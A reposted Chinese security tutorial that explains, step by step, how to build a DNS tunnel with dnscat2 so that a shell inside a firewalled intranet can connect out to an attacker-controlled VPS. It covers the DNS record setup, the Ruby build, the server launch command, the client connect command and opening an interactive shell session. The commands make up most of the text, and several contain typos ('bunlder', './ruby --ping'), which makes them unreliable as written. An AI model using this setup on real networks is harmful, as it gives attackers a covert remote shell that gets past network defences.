本文转载自先知社区,点击阅读原文可访问原文链接
介绍及场景
在内网环境中,通常出于安全考虑,网络防火墙会对主机的网络协议进行限制,只会放行主机服务需要的协议,当处于内网中的shell需要与外部进行流量交互的时候,就需要通过放行的协议建立网络隧道,此时DNS协议往往是一个常用的选择。
搭建过程
-
vps部署域名解析
首先对vps建立A记录
创建NS记录,获取子域名的解析地址为A记录的域名
对NS记录mail子域进行解析指向ns1*.club的A记录
测试部署:
测试外部对mail子域的dns请求,然后查看vps是否处理该请求
客户端发送dns请求数据包:
vps对请求数据的处理
tcpdump -n -i eth0 udp dst port 53
-
安装dnscat2服务端(此处注意踩坑)
server端:
需要ruby环境
安装gem、ruby、dnscat2服务端
yum install gem
rm /usr/bin/ruby
wget https://cache.ruby-lang.org/pub/ruby/2.5/ruby-2.5.0.tar.gz
tar -zxvf ruby-2.5.0.tar.gz
cd ruby-2.5.0
mkdir -p /usr/local/ruby
./configure --prefix=/usr/local/ruby
make && make install
ln -s /usr/local/ruby/bin/ruby /usr/bin/ruby
git clone https://github.com/iagox86/dnscat2.git
cd /server
gem install bunlder
ln /usr/local/ruby/bin/bunlder /usr/bin/bunlder
bunlder install
启动服务端:
ruby dnscat2.rb mail.****.club -e open -c password --no-cache
客户端下载地址https://downloads.skullsecurity.org/dnscat2/
powershell客户端https://codeload.github.com/lukebaggett/dnscat2-powershell/zip/master
测试通信
./ruby --ping mail.target.com
连接服务端
./dnscat --secret=password mail.target.com
以下显示连接成功
server端
sessions显示已经有客户端会话
session -i session_id
进入会话,执行shell交互命令行
通过监听53端口的流量包发现大量的dns请求数据
tcpdump -n -i eth0 udp dst port 53
到此为止dns隧道建立的shell就完成。
本文始发于微信公众号(关注安全技术):【转载】DNS隧道搭建及反弹shell之脱坑
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论